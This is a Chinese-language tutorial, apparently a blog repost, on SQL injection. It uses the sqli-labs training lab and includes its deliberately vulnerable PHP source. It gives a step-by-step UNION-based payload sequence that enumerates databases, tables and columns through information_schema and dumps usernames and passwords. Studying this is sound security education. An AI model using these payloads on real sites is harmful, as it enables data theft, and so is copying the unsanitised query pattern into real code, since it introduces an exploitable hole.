WEB安全-SQL注入原理

幸运草
幸运草
幸运草
976
文章
3
评论
2020年3月31日18:30:31 评论 400
WEB安全-SQL注入原理
环境相关
WEB安全-SQL注入原理
phpstudy
https://www.xp.cn
sqli-labs
https://github.com/Audi-1/sqli-labs
具体搭建方式可以参考网上的教程
这里提供看雪论坛的一个在线 sqli-labs:http://43.247.91.228:84/
WEB安全-SQL注入原理
数据库基础
WEB安全-SQL注入原理
这里只介绍 MySQL 数据库,数据在数据库中是按照表单的方式存储的,在 phpstudy 里面,可以很方便的打开 mysql 终端
(打开后输入默认密码 root)
WEB安全-SQL注入原理
使用 show databases; 命令可以查看所有的数据库名
我有这些数据库:
information_schema,challenges,mysql,performance_schema,security,test,yichen
WEB安全-SQL注入原理
其中:information_schema 数据库是 MySQL 自带的,在 MySQL 中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
use yichen; 用来选择想要使用的数据库
WEB安全-SQL注入原理
选择好以后我们就可以使用 show tables; 
来查看这个数据库中存放的的所有数据表,在 yichen 这个数据库中存在两张表,一张叫做 flag,一张叫做 yichen
WEB安全-SQL注入原理
使用 select * from yichen; 来查看数据表 "yichen" 中所有的数据信息
WEB安全-SQL注入原理
数据表:yichen 中一共有三列数据,列名分别是:id,name,age
如果想查看 yichen 表中 writeup 的年龄应该怎样呐?
有两种简单的方法:
select age from yichen where name='writeup';
select age from yichen where id=2;
这里需要注意的是 name 字段属于字符串,所以需要用单引号引起来
当我们访问一个网页上的时候(比如 sqli-labs 的第一关):
?id=1 实际上就是去数据库里面查询 id=1 的时候的 name 和 password 列的值
WEB安全-SQL注入原理
补充一些关于 information_schema 数据库的数据表的信息(可以先跳过):
如果后面涉及这几张表不太明白可以回来看一下
SCHEMATA 表:提供了当前 mysql 中所有数据库的信息(主要用来查询数据库名(schema_name))
WEB安全-SQL注入原理
TABLES 表提供了关于数据库中的表的信息(包括视图)(有点乱...)
WEB安全-SQL注入原理
在 phpmyadmin 里可以看的清楚点(主要用来查询数据表名 (table_name))
WEB安全-SQL注入原理
COLUMNS 表提供了表中的列信息(主要用来查询字段名(column_name))
WEB安全-SQL注入原理
WEB安全-SQL注入原理
sql 注入原理
WEB安全-SQL注入原理
前面提到访问 ?id=1 的时候就是去数据库里查询 id=1 的字段的值,那么,当我不去正常访问 id=1 而是访问一个 id=1' 会发生什么?
WEB安全-SQL注入原理
报错了!看报错的回显发现
您的 SQL 语法有误;检查与您的 MySQL 服务器版本相对应的手册以获取正确的语法,以在第 1 行的 ''1'' LIMIT 0,1' 附近使用
仔细看一下,''1'' LIMIT 0,1',会发现单引号是这么配对的
WEB安全-SQL注入原理
本来正常的输入 1 的时候蓝色单引号里面包括的应该是 1,但是当我们输入 1' 的时候,多出来一个单引号就出问题了,我们可以查看一下 less-1 的源代码,找到查询语句

<?phpinclude("../sql-connections/sql-connect.php");error_reporting(0);if(isset($_GET['id']))//使用get方式接受一个参数id{$id=$_GET['id'];//把get得到的id的值赋给变量id$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//使用这条语句去查询$result=mysql_query($sql);//把查询的结果给result这个变量$row = mysql_fetch_array($result);//把结果变成了数组的形式 if($row)//如果得到结果就把他展示出来↓ { echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; } else //没有得到结果就展示mysql操作产生的文本错误信息 { print_r(mysql_error()); }}?>
我们只要关心这一句:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
如果把之前传入的 1' 带入 $id ,看看结果:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
会发现传入的单引号把原本已经存在的那一个左单引号闭合掉了,那多出来的那一个右单引号就出了问题了,这就导致了报错
使用 1' and 1=1--+ 的话我们带入,发现语句变成了这样:
SELECT * FROM users WHERE id='1' and 1=1--+' LIMIT 0,1
mysql 中的注释有两种,一个是 --空格,那个加号是来代替空格的,另一个是 #
上面的语句经过 --+ 的注释之后变成了合理的语句,后面的 ' LIMIT 0,1 被注释掉了
现在变成了
SELECT * FROM users WHERE id='1' and 1=1--+ 
去查询 id='1' 并且 1=1,那么这个逻辑是没有问题的,会正常的去查询 id='1' 的内容,但是当我们改成 1' and 1=2--+ 去查询的话就会出错了,因为 1 并不等于 2WEB安全-SQL注入原理
这是一个很经典的判断是否有注入的方法
'order by 4--+ 得到列数
order by 是用来排序的,后面可以跟着列数,比如 order by 1 是按照第一列来排序,如果使用大于数据表的列数的时候就会报错了,这样就可以用来判断数据表有几列
-1'union select 1,2,3--+ 联合查询,一般用来检查什么地方可以回显
需要注意的是,联合查询是前面不成立的时候才会去执行,也就是说需要把那个 id 的值改成一个不可能存在的值,比如上面的那个 -1,才能去 union select 1,2,3
WEB安全-SQL注入原理
显示出 2,3,说明这里 2 与 3 的位置会被打印出来,我们就可以把想要查询的放在这里两个位置让他显示给我们
这里介绍几个字符连接函数:
1. concat (str1,str2,...)—— 没有分隔符地连接字符串
2. concat_ws (separator,str1,str2,...)—— 含有分隔符地连接字符串
3. group_concat (str1,str2,...)—— 连接一个组的所有字符串,并以逗号分隔每一条数据
因为我们查询到的数据不是只有一个,所以需要用连接函数把他们连接成一串才能显示出来
union select 1,group_concat(schema_name),3 from information_schema.schemata--+
group_concat 函数把查询到的 schema_name(数据库名) 连成了一串字符串在 name 的地方显示出来
从 information_schema 中的 schemata 这个表里面查询 ,中间用  . 连接起来,所以上面那一条语句查询了所有数据库名并显示在 name 也就是之前回显是 2 的地方
WEB安全-SQL注入原理
那接下来只要替换查询内容与后面的 from 的表就可以查询出所有的表名与列名了
查询所有表名:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
从 information_schema 的 tables 表里面查询 table_name
WEB安全-SQL注入原理
查询所有列名:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
从 information_schema 的 columns 表里面查询 column_name
WEB安全-SQL注入原理
那么已经知道所有的表名跟列名了,怎么去查询表中的数据呐?
union select 1,username,password from users where id=6--+
在 users 表中查询 id=6 的 username 和 password
WEB安全-SQL注入原理
自己根据源代码尝试做一下前四关,语句基本一样,只要改一个地方就可以
源代码在解压出来的文件夹中的 Less 开头的里面的 index.php
WEB安全-SQL注入原理
hint:只需要注意这个地方就可以了
WEB安全-SQL注入原理
 

本文来源于:WEB安全-SQL注入原理-变化吧
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

转载请注明:{{title}}-变化吧
  • 赞助本站
  • 微信扫一扫
  • weinxin
  • 赞助本站
  • 支付宝扫一扫
  • weinxin
幸运草
“勒索”全世界丨解密WannaCry帝国“合伙人” 劫持

“勒索”全世界丨解密WannaCry帝国“合伙人”

绕过激活锁工具教程分享说明一下并不是所有的设备都可以,目前是5s以上到苹果x以下的机型适用,机子没有别的故障的正常机子只是被id锁了,基带坏了也可以只要是CPU正常开机, 第一个 连接:https:/...
勒索软件防暴术:企业需要学会这四招 劫持

勒索软件防暴术:企业需要学会这四招

LiteBee编程无人机教程分享 ,小白从入门到精通必备!LiteBee作为一款入门级编程飞行器套件,在搭建、编程和控制中都能够让使用者轻松自如的上手。但必定有很多人还是不了解或者对其编程方面存在疑问...
全球爆发勒索病毒 多家安全厂商推防御方案 劫持

全球爆发勒索病毒 多家安全厂商推防御方案

5月12日,英国、意大利、俄罗斯等全球多个国家爆发勒索病毒攻击,中国的校园网也未能幸免,部分高校电脑被感染,有学生毕业论文被病毒加密,只有支付高额赎金才能恢复。 而在英国方面, 5月12日英国国家医疗...